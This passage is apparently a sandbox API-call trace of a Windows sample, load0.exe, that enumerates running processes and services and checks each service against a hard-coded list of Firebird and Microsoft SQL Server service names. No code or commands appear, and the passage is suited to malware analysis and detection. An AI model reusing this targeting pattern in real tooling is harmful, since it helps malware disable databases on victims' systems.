lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.967] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.967] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.967] lstrlenW (lpString="PlugPlay") returned 8 [0276.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.967] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.967] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.967] lstrlenW (lpString="Power") returned 5 [0276.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.967] lstrlenW (lpString="ProfSvc") returned 7 [0276.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.968] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.968] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.968] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.968] lstrlenW (lpString="RpcSs") returned 5 [0276.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.968] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.968] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.968] lstrlenW (lpString="SamSs") returned 5 [0276.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.968] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.968] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.968] lstrlenW (lpString="Schedule") returned 8 [0276.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.969] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.969] lstrlenW (lpString="SENS") returned 4 [0276.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.969] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.969] lstrlenW (lpString="Spooler") returned 7 [0276.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.970] lstrlenW (lpString="StateRepository") returned 15 [0276.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.970] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.970] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.970] lstrlenW (lpString="SysMain") returned 7 [0276.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0277.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0277.091] lstrlenW (lpString="SystemEventsBroker") returned 18 [0277.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.091] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0277.091] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0277.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0277.091] lstrlenW (lpString="Themes") returned 6 [0277.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0277.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0277.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0277.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0277.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0277.092] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0277.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0277.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0277.092] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0277.092] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0277.092] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3faf028 | out: hHeap=0x630000) returned 1 [0277.092] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x115c [0277.097] Process32FirstW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.098] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.099] lstrlenW (lpString="System") returned 6 [0277.099] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.100] lstrlenW (lpString="smss.exe") returned 8 [0277.100] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.101] lstrlenW (lpString="csrss.exe") returned 9 [0277.101] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.102] lstrlenW (lpString="wininit.exe") returned 11 [0277.102] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.103] lstrlenW (lpString="csrss.exe") returned 9 [0277.103] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.104] lstrlenW (lpString="winlogon.exe") returned 12 [0277.104] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.105] lstrlenW (lpString="services.exe") returned 12 [0277.105] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.106] lstrlenW (lpString="lsass.exe") returned 9 [0277.106] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.107] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.107] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.108] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.108] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.112] lstrlenW (lpString="svchost.exe") returned 11 [0277.112] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.113] lstrlenW (lpString="svchost.exe") returned 11 [0277.113] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.114] lstrlenW (lpString="dwm.exe") returned 7 [0277.114] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.115] lstrlenW (lpString="svchost.exe") returned 11 [0277.115] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.116] lstrlenW (lpString="svchost.exe") returned 11 [0277.116] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.117] lstrlenW (lpString="svchost.exe") returned 11 [0277.117] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.118] lstrlenW (lpString="svchost.exe") returned 11 [0277.118] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.119] lstrlenW (lpString="svchost.exe") returned 11 [0277.119] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.120] lstrlenW (lpString="svchost.exe") returned 11 [0277.120] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.121] lstrlenW (lpString="svchost.exe") returned 11 [0277.121] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.122] lstrlenW (lpString="svchost.exe") returned 11 [0277.122] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.123] lstrlenW (lpString="svchost.exe") returned 11 [0277.123] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.124] lstrlenW (lpString="svchost.exe") returned 11 [0277.124] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.125] lstrlenW (lpString="spoolsv.exe") returned 11 [0277.125] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.126] lstrlenW (lpString="svchost.exe") returned 11 [0277.126] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.176] lstrlenW (lpString="audiodg.exe") returned 11 [0277.176] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0277.177] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0277.177] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0277.180] lstrlenW (lpString="Memory Compression") returned 18 [0277.181] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.182] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0277.182] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.183] lstrlenW (lpString="sihost.exe") returned 10 [0277.183] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.183] lstrlenW (lpString="svchost.exe") returned 11 [0277.183] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.184] lstrlenW (lpString="taskhostw.exe") returned 13 [0277.184] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0277.185] lstrlenW (lpString="msoia.exe") returned 9 [0277.185] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.186] lstrlenW (lpString="explorer.exe") returned 12 [0277.186] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.187] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0277.187] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.188] lstrlenW (lpString="SearchUI.exe") returned 12 [0277.188] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.189] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0277.189] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.196] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0277.196] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0277.197] lstrlenW (lpString="load0.exe") returned 9 [0277.197] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0277.198] lstrlenW (lpString="load0.exe") returned 9 [0277.198] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0277.199] CloseHandle (hObject=0x115c) returned 1 [0277.199] Sleep (dwMilliseconds=0x1f4) [0278.124] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0278.125] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0278.125] GetLastError () returned 0xea [0278.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3240080 [0278.125] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0278.126] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0278.127] lstrlenW (lpString="Appinfo") returned 7 [0278.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0278.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0278.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0278.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0278.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0278.127] lstrlenW (lpString="AppXSvc") returned 7 [0278.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0278.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0278.127] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0278.127] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0278.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0278.127] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0278.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.127] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0278.127] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0278.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0278.127] lstrlenW (lpString="Audiosrv") returned 8 [0278.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0278.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0278.127] lstrcmpiW (lpString1="sqlwriter", 